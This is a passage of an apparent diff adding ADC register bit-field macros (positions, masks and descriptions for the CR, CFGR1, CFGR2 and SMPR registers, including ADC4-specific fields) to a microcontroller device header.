ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 